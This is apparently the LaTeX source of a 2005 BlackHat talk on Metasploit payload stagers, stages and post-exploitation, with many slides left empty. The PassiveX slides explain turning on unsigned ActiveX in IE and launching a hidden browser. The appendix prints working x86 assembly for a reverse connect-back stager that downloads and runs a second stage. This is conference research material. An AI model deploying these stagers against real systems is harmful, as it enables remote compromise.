mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-09 04:26:11 +02:00
685 lines
20 KiB
TeX
685 lines
20 KiB
TeX
\documentclass{beamer}
|
|
\usepackage{graphicx}
|
|
\usepackage{color}
|
|
|
|
\mode<presentation> { }
|
|
|
|
\usepackage[english]{babel}
|
|
\usepackage[latin1]{inputenc}
|
|
\usepackage{times}
|
|
\usepackage[T1]{fontenc}
|
|
% I think this looks cool, but whateva! - skape
|
|
%\usepackage{beamerthemeshadow}
|
|
|
|
% Love from spoon
|
|
\newcommand{\pdfpart}[1]{\label{pdfpart-#1}\pdfbookmark[0]{#1}{pdfpart-#1}\part{#1}}
|
|
\newenvironment{sitemize}{\vspace{1mm}\begin{itemize}\itemsep 4pt\small}{\end{itemize}}
|
|
|
|
% Presentation meta-information
|
|
\title{Beyond EIP}
|
|
\author[spoonm \& skape] {spoonm \& skape}
|
|
\date[BlackHat 2005] {BlackHat, 2005}
|
|
\subject{Beyond EIP}
|
|
|
|
% Add a spacer between each part
|
|
\AtBeginPart{\frame{\partpage}}
|
|
|
|
% Turn off the navigation on the bottom yo
|
|
\setbeamertemplate{navigation symbols}{}
|
|
% spoon hates berkeley!
|
|
%\usetheme[width=2.2cm]{Berkeley}
|
|
%\usecolortheme{sidebartab}
|
|
|
|
\begin{document}
|
|
|
|
\begin{frame}[t]
|
|
\titlepage
|
|
\end{frame}
|
|
|
|
\part{Introduction}
|
|
|
|
\section{Introduction}
|
|
\begin{frame}[t]
|
|
\frametitle{Who are we?}
|
|
|
|
\begin{sitemize}
|
|
\item spoonm
|
|
\begin{sitemize}
|
|
\item Full-time student
|
|
\item Metasploit developer since late 2003
|
|
\end{sitemize}
|
|
|
|
\item skape
|
|
\begin{sitemize}
|
|
\item Lead software developer by day
|
|
\item Independent security researcher by night
|
|
\item Joined the Metasploit project in 2004
|
|
\end{sitemize}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{What will we discuss?}
|
|
|
|
\begin{sitemize}
|
|
\item Payload stagers
|
|
\begin{sitemize}
|
|
\item Windows Ordinal Stagers
|
|
\item PassiveX
|
|
\item Egghunt
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Payload stages
|
|
\begin{sitemize}
|
|
\item Library Injection
|
|
\item The Meterpreter
|
|
\item DispatchNinja
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Post-exploitation suites
|
|
\begin{sitemize}
|
|
\item Very hot area of research for the Metasploit team
|
|
\item Suites built off of advanced payload research
|
|
\item Client-side APIs create uniform automation interfaces
|
|
\item Primary focus of Metasploit 3.0
|
|
\end{sitemize}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{Background: the exploitation cycle}
|
|
|
|
\begin{sitemize}
|
|
\item \textbf{Pre-exploitation} - Before the attack
|
|
\begin{sitemize}
|
|
\item Find a bug and isolate it
|
|
\item Write the exploit, payloads, and tools
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item \textbf{Exploitation} - Leveraging the vulnerability
|
|
\begin{sitemize}
|
|
\item Find a vulnerable target
|
|
\item Gather information
|
|
\item Initialize tools and post-exploitation handlers
|
|
\item Launch the exploit
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item \textbf{Post-exploitation} - Manipulating the target
|
|
\begin{sitemize}
|
|
\item Command shell redirection
|
|
\item Arbitrary command execution
|
|
\item Pivoting
|
|
\item Advanced payload interaction
|
|
\end{sitemize}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\pdfpart{Exploitation Technology's State of Affairs}
|
|
|
|
\section{Pre-exploitation}
|
|
\begin{frame}[t]
|
|
\frametitle{Payload encoders}
|
|
|
|
\begin{sitemize}
|
|
\item Robust and elegant encoders do exist
|
|
\begin{sitemize}
|
|
\item SkyLined's Alpha2 x86 alphanumeric encoder
|
|
\item Spoonm's high-permutation Shikata Ga Nai
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Payload encoders generally taken for granted
|
|
\begin{sitemize}
|
|
\item Most encoders use a static decoder stub
|
|
\item Makes NIDS signatures easy to write
|
|
\end{sitemize}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{NOP generators}
|
|
|
|
\begin{sitemize}
|
|
\item NOP generation hasn't publicly changed much
|
|
\begin{sitemize}
|
|
\item Most PoC exploits use predictable single-byte NOPs (\texttt{0x90}), if any
|
|
\item ADMmutate's NOP generator easily signatured by NIDS (Snort, Fnord)
|
|
\item Not considered an important research topic to most
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Still, NIDS continues to play chase the tail
|
|
\begin{sitemize}
|
|
\item The mouse always has the advantage; NIDS is reactive
|
|
\item Advanced NOP generators and encoders push NIDS to its limits
|
|
\item Many protocols can be complex to signature (DCERPC fragmentation)
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Metasploit 2.4 released with a wide-distribution
|
|
multi-byte x86 NOP generator (Opty2)
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\section{Exploitation}
|
|
\begin{frame}[t]
|
|
\frametitle{Exploitation techniques}
|
|
|
|
\begin{sitemize}
|
|
\item Exploitation techniques have become very mature
|
|
\begin{sitemize}
|
|
\item Linux/BSD/Solaris techniques are largely unchanged
|
|
\item Windows heap overflows can be made more reliable (Oded/Shok)
|
|
\item Windows SEH overwrites make exploitation easy, even on XPSP2
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Exploitation vectors have been beaten to death
|
|
\pause
|
|
\item ...so we wont be talking about them
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\section{Post-exploitation}
|
|
\begin{frame}[t]
|
|
\frametitle{Standard payloads}
|
|
|
|
\begin{sitemize}
|
|
\item Standard payloads provide the most basic manipulation
|
|
of a target
|
|
\begin{sitemize}
|
|
\item Port-bind command shell
|
|
\item Reverse (connectback) command shell
|
|
\item Arbitrary command execution
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Nearly all PoC exploits use standard payloads
|
|
|
|
\pause
|
|
\item Command shells have poor automation support
|
|
\begin{sitemize}
|
|
\item Platform dependent intrinsic commands and
|
|
scripting
|
|
\item Reliant on the set of applications installed on the
|
|
machine
|
|
\item Hindered by chroot jails and host-based ACLs
|
|
\end{sitemize}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{``Advantage'' payloads}
|
|
|
|
\begin{sitemize}
|
|
\item Advantage payloads provide enhanced manipulation of
|
|
hosts, commonly through the native API
|
|
\item Help to reduce the tediousness of writing payloads
|
|
|
|
\item Core ST's InlineEgg
|
|
|
|
% TODO: Elaborate on InlineEgg
|
|
% TODO: others...
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\pdfpart{Payload Stagers}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{What are payload stagers?}
|
|
|
|
\begin{sitemize}
|
|
\item Payload stagers are small stubs that load and execute other
|
|
payloads
|
|
\item The payloads that are executed are known as stages
|
|
\item Stages perform arbitrary tasks, such as spawning a
|
|
shell
|
|
|
|
\pause
|
|
\item Stagers are typically network based and follow three
|
|
basic steps
|
|
\begin{sitemize}
|
|
\item Establish connection to attacker (reverse,
|
|
portbind, findsock)
|
|
\item Read in a payload from the connection
|
|
\item Execute a payload with the connection in known a register
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item The three steps make it so stages are connection method
|
|
independent
|
|
\begin{sitemize}
|
|
\item No need to have command shell payloads for
|
|
reverse, portbind, and findsock
|
|
\end{sitemize}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{Why are payload stagers useful?}
|
|
|
|
\begin{sitemize}
|
|
\item Some vulnerabilities have limited space for the
|
|
initial payload
|
|
|
|
\pause
|
|
\item Typically much smaller than the stages
|
|
they execute
|
|
|
|
\pause
|
|
\item Eliminate the need to re-implement payloads for each
|
|
connection method
|
|
|
|
\pause
|
|
\item Provide an abstract way for getting arbitrary code
|
|
onto a remote machine through any medium
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\section{Windows Ordinal Stagers}
|
|
|
|
\subsection{Overview}
|
|
\begin{frame}[t]
|
|
\frametitle{Windows ordinal stagers}
|
|
|
|
\begin{sitemize}
|
|
\item Technique from Oded's lightning talk at core04
|
|
\item Uses static ordinals in \texttt{WS2\_32.DLL} to locate symbol
|
|
addresses
|
|
\item Compatible with all versions of Windows (including 9X)
|
|
\item Results in very low-overhead symbol resolution
|
|
\item Facilitates implementation of reverse, portbind, and
|
|
findsock stagers
|
|
\item Leads to very tiny win32 stagers (92 byte reverse, 93
|
|
byte findsock)
|
|
\item Technical write-up at
|
|
\footnotesize{\url{http://www.metasploit.com/users/spoonm/ordinals.txt}}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{How ordinal stagers work}
|
|
|
|
\begin{sitemize}
|
|
\item Ordinals are unique numbers that identify exported
|
|
symbols in PE files
|
|
\item Each ordinal can be used to resolve the address of an
|
|
exported symbol
|
|
|
|
\pause
|
|
\item Most of the time, ordinals are incremented linearly by the
|
|
linker
|
|
\item Sometimes, however, developers may wish to force
|
|
symbols to use the same ordinal every build
|
|
\item When ordinals are the same every build, they are
|
|
referred to as static
|
|
|
|
\pause
|
|
\item Using an image's exports by ordinal instead of by name
|
|
is more efficient at runtime
|
|
\item However, it will not be reliably portable unless the
|
|
ordinals are known-static
|
|
|
|
\pause
|
|
\item Very few PE files use known-static ordinals, but
|
|
\texttt{WS2\_32.DLL} is one that does
|
|
\begin{sitemize}
|
|
\item 30 symbols use static ordinals in
|
|
\texttt{WS2\_32.DLL}
|
|
\end{sitemize}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\subsection{Implementation}
|
|
\begin{frame}[t]
|
|
\frametitle{Implementing a reverse ordinal stager}
|
|
|
|
\begin{sitemize}
|
|
\item Locate the base address of \texttt{WS2\_32.DLL}
|
|
\begin{sitemize}
|
|
\item Extract the Peb->Ldr pointer
|
|
\item Extract Flink from the InInitOrderModuleList
|
|
\item Loop through loaded modules comparing module names
|
|
\item Module name is stored in unicode, but can be
|
|
partially translated to ANSI
|
|
\item Once \texttt{WS2\_32.DLL} is found, extract its
|
|
BaseAddress
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Resolve \texttt{socket}, \texttt{connect},
|
|
and \texttt{recv}
|
|
\begin{sitemize}
|
|
\item Use static ordinals to index the Export Directory Address Table
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Allocate a socket, connect to the attacker,
|
|
and read in the next payload
|
|
|
|
\pause
|
|
\item Requires that \texttt{WS2\_32.DLL} already be loaded
|
|
in the target process
|
|
\end{sitemize}
|
|
|
|
\end{frame}
|
|
|
|
\section{PassiveX}
|
|
\subsection{Overview}
|
|
\begin{frame}[t]
|
|
\frametitle{PassiveX}
|
|
|
|
\begin{sitemize}
|
|
\item Robust payload stager capable of bypassing restrictive
|
|
outbound filters
|
|
\item Compatible with Windows 2000+ running Internet
|
|
Explorer 6.0+
|
|
\item Uses HTTP to communicate with attacker
|
|
\item Provides an alternate vector for library injection via
|
|
ActiveX
|
|
\item Technical write-up at
|
|
\footnotesize{\url{http://www.uninformed.org/?v=1&a=3&t=sumry}}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{How PassiveX works}
|
|
|
|
\begin{sitemize}
|
|
\item Enables support for both signed and unsigned ActiveX
|
|
controls in the \texttt{Internet} zone.
|
|
\begin{sitemize}
|
|
\pause
|
|
\item Necessary because administrators may have disabled
|
|
ActiveX support for security reasons
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Launches a hidden instance of Internet Explorer
|
|
|
|
\pause
|
|
\item Internet Explorer loads a page that the attacker
|
|
has put an embedded ActiveX control on
|
|
|
|
\pause
|
|
\item Internet Explorer loads and executes the ActiveX
|
|
control
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{Why is PassiveX useful?}
|
|
|
|
\begin{sitemize}
|
|
\item Relatively small (roughly 400 byte) stager that does not
|
|
directly interact with the network
|
|
|
|
\pause
|
|
\item Bypasses common outbound filters by tunneling through
|
|
HTTP
|
|
|
|
\pause
|
|
\item Automatically uses proxy settings defined in Internet
|
|
Explorer
|
|
|
|
\pause
|
|
\item Bypasses trusted application restrictions (ZoneAlarm)
|
|
|
|
\pause
|
|
\item ActiveX technology allows the attacker to implement
|
|
complex code in higher level languages (C, C++, VB)
|
|
\begin{sitemize}
|
|
\item Eliminates the need to perform complicated tasks
|
|
from assembly
|
|
\item ActiveX controls are functionally equivalent to
|
|
executables
|
|
\end{sitemize}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\subsection{Implementation}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{Implementing the PassiveX stager}
|
|
|
|
\begin{sitemize}
|
|
\item Enable download and execution of ActiveX controls
|
|
\begin{sitemize}
|
|
\item Open the current user's \texttt{Internet} zone
|
|
registry key
|
|
\item Enable four settings
|
|
\begin{sitemize}
|
|
\item \texttt{Download signed ActiveX controls}
|
|
\item \texttt{Download unsigned ActiveX controls}
|
|
\item \texttt{Run ActiveX controls and plugins}
|
|
\item \texttt{Initialize and script ActiveX controls not
|
|
marked as safe}
|
|
\end{sitemize}
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Launch a hidden instance of Internet Explorer pointed
|
|
at a URL the attacker controls
|
|
|
|
\pause
|
|
\item Internet Explorer then loads and executes the attacker's
|
|
ActiveX control
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\subsection{HTTP Tunneling ActiveX Control}
|
|
\begin{frame}[t]
|
|
\frametitle{An example ActiveX control}
|
|
|
|
\begin{sitemize}
|
|
\item ActiveX controls may choose to build an HTTP tunnel
|
|
to the attacker
|
|
\item HTTP tunnels provide a streaming connection over HTTP
|
|
requests and responses
|
|
\item Useful for tunneling other protocols, like TCP,
|
|
through HTTP
|
|
|
|
% TODO: elaborate?
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\subsection{Pros \& Cons}
|
|
\begin{frame}[t]
|
|
\frametitle{Pros \& cons}
|
|
|
|
\begin{sitemize}
|
|
\item \textbf{Pros}
|
|
\begin{sitemize}
|
|
\item Bypasses restrictive outbound filters at both a
|
|
network and application level
|
|
|
|
\pause
|
|
\item Provides a method for using complex code written
|
|
in a high-level language
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item \textbf{Cons}
|
|
\begin{sitemize}
|
|
\item Does not work when run as a non-privileged user
|
|
\begin{sitemize}
|
|
\item Internet Explorer refuses to download ActiveX
|
|
controls
|
|
\end{sitemize}
|
|
|
|
\pause
|
|
\item Requires the ActiveX control to restore
|
|
\texttt{Internet} zone settings
|
|
\begin{sitemize}
|
|
\item May leave the machine vulnerable to compromise
|
|
if not done
|
|
\end{sitemize}
|
|
\end{sitemize}
|
|
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\section{Egghunt}
|
|
\begin{frame}[t]
|
|
\frametitle{Overview}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{Hunting for eggs with SEH}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{Hunting for eggs with system calls}
|
|
\end{frame}
|
|
|
|
\pdfpart{Payload Stages}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{What are post-exploitation stages?}
|
|
\end{frame}
|
|
|
|
\section{Library Injection}
|
|
\begin{frame}[t]
|
|
\frametitle{Overview}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{Types of library injection}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{In-memory library injection on Windows}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{In-memory library injection on UNIX}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{Library injection in action: VNC}
|
|
\end{frame}
|
|
|
|
\section{Meterpreter}
|
|
\begin{frame}[t]
|
|
\frametitle{Overview}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{Design goals}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{Communication protocol specification}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{Client/Server architecture}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{Extension flexibilities}
|
|
\end{frame}
|
|
\begin{frame}[t]
|
|
\frametitle{Meterpreter extensions in action: Stdapi}
|
|
\end{frame}
|
|
|
|
\section{DispatchNinja}
|
|
\begin{frame}[t]
|
|
\frametitle{Cool dN stuff here}
|
|
\end{frame}
|
|
|
|
\pdfpart{Post-Exploitation Suites}
|
|
|
|
\section{Post-Exploitation Suites}
|
|
\subsection{Motivations \& Goals}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{stuff}
|
|
\end{frame}
|
|
|
|
\pdfpart{Conclusion}
|
|
|
|
\begin{frame}[t]
|
|
\frametitle{Reference Material}
|
|
|
|
\textbf{Payload Stagers}
|
|
\begin{sitemize}
|
|
\item Windows Ordinal Stagers \\
|
|
\footnotesize{\url{http://www.metasploit.com/users/spoonm/ordinals.txt}}
|
|
\item PassiveX \\
|
|
\footnotesize{\url{http://www.uninformed.org/?v=1&a=3&t=sumry}}
|
|
\end{sitemize}
|
|
\end{frame}
|
|
|
|
\appendix
|
|
|
|
\pdfpart{Appendix: Payload Stagers}
|
|
\section{Windows Ordinal Stagers}
|
|
\subsection{Reverse Ordinal Stager Implementation}
|
|
\begin{frame}[fragile]
|
|
\frametitle{Locating WS2\_32.DLL's base address}
|
|
|
|
\footnotesize{
|
|
\begin{verbatim}
|
|
FC cld ; clear direction (lodsd)
|
|
31DB xor ebx,ebx ; zero ebx
|
|
648B4330 mov eax,[fs:ebx+0x30] ; eax = PEB
|
|
8B400C mov eax,[eax+0xc] ; eax = PEB->Ldr
|
|
8B501C mov edx,[eax+0x1c] ; edx = Ldr->InitList.Flink
|
|
8B12 mov edx,[edx] ; edx = LdrModule->Flink
|
|
8B7220 mov esi,[edx+0x20] ; esi = LdrModule->DllName
|
|
AD lodsd ; eax = [esi] ; esi += 4
|
|
AD lodsd ; eax = [esi] ; esi += 4
|
|
4E dec esi ; esi--
|
|
0306 add eax,[esi] ; eax = eax + [esi]
|
|
; (4byte unicode->ANSI)
|
|
3D32335F32 cmp eax,0x325f3332 ; eax == 2_32?
|
|
75EF jnz 0xd ; not equal, continue loop
|
|
|
|
\end{verbatim}
|
|
}
|
|
\end{frame}
|
|
|
|
\begin{frame}[fragile]
|
|
\frametitle{Resolve symbols using static ordinals}
|
|
|
|
\footnotesize{
|
|
\begin{verbatim}
|
|
8B6A08 mov ebp,[edx+0x8] ; ebp = LdrModule->BaseAddr
|
|
8B453C mov eax,[ebp+0x3c] ; eax = DosHdr->e_lfanew
|
|
8B4C0578 mov ecx,[ebp+eax+0x78]; ecx = Export Directory
|
|
8B4C0D1C mov ecx,[ebp+ecx+0x1c]; ecx = Address Table Rva
|
|
01E9 add ecx,ebp ; ecx += ws2base
|
|
8B4158 mov eax,[ecx+0x58] ; eax = socket rva
|
|
01E8 add eax,ebp ; eax += ws2base
|
|
8B713C mov esi,[ecx+0x3c] ; eax = recv rva
|
|
01EE add esi,ebp ; eax += ws2base
|
|
03690C add ebp,[ecx+0xc] ; ebp += connect rva
|
|
\end{verbatim}
|
|
}
|
|
\end{frame}
|
|
|
|
\begin{frame}[fragile]
|
|
\frametitle{Create the socket, connect back, recv, and jump}
|
|
|
|
\footnotesize{
|
|
\begin{verbatim}
|
|
; Use chained call-stacks to save space
|
|
; connect returns to recv returns to buffer (fd in edi)
|
|
53 push ebx ; push 0
|
|
6A01 push byte +0x1 ; push SOCK_STREAM
|
|
6A02 push byte +0x2 ; push AF_INET
|
|
FFD0 call eax ; call socket
|
|
97 xchg eax,edi ; edi = fd
|
|
687F000001 push dword 0x100007f ; push sockaddr_in
|
|
68020010E1 push dword 0xe1100002
|
|
89E1 mov ecx,esp ; ecx = &sockaddr_in
|
|
53 push ebx ; push flags (0)
|
|
B70C mov bh,0xc ; ebx = 0x0c00
|
|
53 push ebx ; push length (0xc00)
|
|
51 push ecx ; push buffer
|
|
57 push edi ; push fd
|
|
51 push ecx ; push buffer
|
|
6A10 push byte +0x10 ; push addrlen (16)
|
|
51 push ecx ; push &sockaddr_in
|
|
57 push edi ; push fd
|
|
56 push esi ; push recv
|
|
FFE5 jmp ebp ; call connect
|
|
\end{verbatim}
|
|
}
|
|
\end{frame}
|
|
|
|
\end{document}
|